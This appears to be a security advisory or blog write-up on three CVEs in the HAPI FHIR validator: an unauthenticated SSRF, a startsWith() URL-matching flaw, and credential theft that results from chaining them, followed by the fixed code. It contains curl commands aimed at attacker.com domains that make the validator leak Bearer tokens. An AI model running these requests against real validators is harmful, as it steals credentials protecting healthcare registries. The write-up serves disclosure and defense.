Stealing Credentials From Healthcare's Data Backbone
TL;DR — The FHIR Validator's /loadIG endpoint accepts arbitrary URLs without authentication. A flaw in how HAPI FHIR Core matches URLs against configured servers — using startsWith() without host boundary validation — means an attacker can steal Bearer tokens, API keys, and Basic auth credentials by registering a domain that prefixes a trusted one. Three CVEs, one critical at CVSS 9.3.
background
FHIR (Fast Healthcare Interoperability Resources) is the dominant standard for exchanging healthcare data. If you've visited a hospital in the last five years, your records almost certainly passed through a FHIR-based system. The spec defines how clinical data is structured, validated, and transmitted between EHRs, labs, pharmacies, and insurers.
The FHIR Validator is the reference implementation that checks whether clinical data conforms to the spec. It's run by hospitals, EHR vendors, and health tech companies as part of their data pipelines. It's also run by developers during development, often exposed on internal networks or development servers.
To validate data against Implementation Guides (IGs), the validator fetches packages from registries like packages.fhir.org. These registries can require authentication — operators configure credentials in a fhir-settings.json file:
{
"servers": [{
"url": "https://packages.fhir.org",
"authenticationType": "token",
"token": "ghp_SecretTokenForFHIRRegistry123"
}]
}
The assumption is that these credentials only get sent to the configured servers. That assumption is wrong.
step 1: unauthenticated SSRF (CVE-2026-34360)
The /loadIG endpoint accepts POST requests containing a URL in the ig field. No authentication. No session check. The URL flows directly into IgLoader.loadIg(), which makes an outbound HTTP request via ManagedWebAccess.get():
curl -X POST http://target-validator:8080/loadIG \
-H "Content-Type: application/json" \
-d '{"ig": "https://attacker.com/probe"}'
The validator fetches whatever URL you give it. On its own this is a standard blind SSRF — useful for port-scanning internal networks, probing cloud metadata endpoints, and mapping infrastructure behind the firewall. But the real damage requires step 2.
To confirm exploitability, point it at a request bin and watch the inbound connection arrive from the validator's IP. The request includes full headers, confirming the validator makes real HTTP requests on your behalf.
step 2: the startsWith() bug (CVE-2026-34359)
The credential provider in ManagedWebAccessUtils.getServer() needs to decide which configured server matches a given URL, so it knows which credentials to attach. Here's the matching logic:
if (url.startsWith(serverDetails.getUrl())) {
return serverDetails;
}
This looks reasonable until you think about how domain names work. If the configured server URL is https://packages.fhir.org, then all of these match:
https://packages.fhir.org/real-package(legitimate)https://packages.fhir.org.attacker.com/steal(attacker-controlled)https://packages.fhir.org-evil.com/steal(attacker-controlled)
The string https://packages.fhir.org.attacker.com starts with https://packages.fhir.org. The check passes. The validator attaches the configured Bearer token to a request aimed at a completely different host.
The same pattern exists in ManagedWebAccess.isLocal(), which controls whether TLS is enforced. An attacker can potentially downgrade connections by matching a configured HTTPS URL with an HTTP variant at a spoofed domain.
step 3: credential theft via SSRF (CVE-2026-34361)
Combine step 1 and step 2. The attacker registers packages.fhir.org.attacker.com, then sends a single request:
curl -X POST http://target-validator:8080/loadIG \
-H "Content-Type: application/json" \
-d '{"ig": "https://packages.fhir.org.attacker.com/malicious-ig"}'
The validator processes this request through the following path:
/loadIGreceives the URL, no auth checkIgLoader.loadIg()callsManagedWebAccess.get()getServer()matches againstpackages.fhir.orgusingstartsWith()- Match succeeds — the attacker's domain starts with the configured URL
- The validator attaches the Bearer token and makes the request
The attacker's server receives:
GET /malicious-ig HTTP/1.1
Host: packages.fhir.org.attacker.com
Authorization: Bearer ghp_SecretTokenForFHIRRegistry123
There's a bonus amplification path: SimpleHTTPClient manually follows HTTP redirects and re-evaluates credentials at each hop. If direct domain spoofing is impractical, the attacker can use the SSRF to hit an internal URL that redirects to packages.fhir.org.attacker.com. The credential check runs again at the redirect target and the token still leaks.
what these credentials unlock
FHIR package registry credentials aren't just read tokens. Depending on the deployment, stolen credentials can enable:
- Access to protected FHIR packages containing clinical data definitions, proprietary terminology sets, and sometimes test data derived from real patient information
- Supply chain attacks by publishing malicious Implementation Guides that validators across the ecosystem will fetch and trust
- Impersonation of the validator in registry interactions, potentially poisoning package metadata
The CVSS score is 9.3 (Critical) because the scope changes — compromising the validator leaks credentials that secure entirely separate systems. The validator itself might be a low-value target, but the credentials it holds unlock the package registries that the entire FHIR ecosystem depends on.
the fix
Version 6.9.4 replaces startsWith() with proper URL component validation:
private static boolean urlMatchesOrigin(String requestUrl, String serverUrl) {
URL req = new URL(requestUrl);
URL srv = new URL(serverUrl);
return req.getProtocol().equals(srv.getProtocol())
&& req.getHost().equals(srv.getHost())
&& req.getPort() == srv.getPort()
&& req.getPath().startsWith(srv.getPath());
}
The critical difference: req.getHost().equals(srv.getHost()) ensures exact host matching. packages.fhir.org.attacker.com is not equal to packages.fhir.org. The fix also restricts /loadIG to authenticated requests and adds host allowlisting for known FHIR registries.
the pattern
String prefix matching on URLs is a recurring vulnerability class that appears across the industry. It looks correct at first glance — the attacker URL does "start with" the trusted URL. But domain names aren't file paths. A suffix on a domain creates a completely different host, and startsWith() has no concept of host boundaries.
This exact pattern appears in OAuth redirect validation (redirect_uri starts with the registered callback), CORS origin checks (origin starts with the trusted domain), webhook URL verification, and now FHIR credential providers. The canonical fix is always the same: parse the URL into components and compare protocol, host, and port separately. Never match URLs as raw strings.
CVE-2026-34359, CVE-2026-34360, CVE-2026-34361. Fixed in HAPI FHIR Core 6.9.4.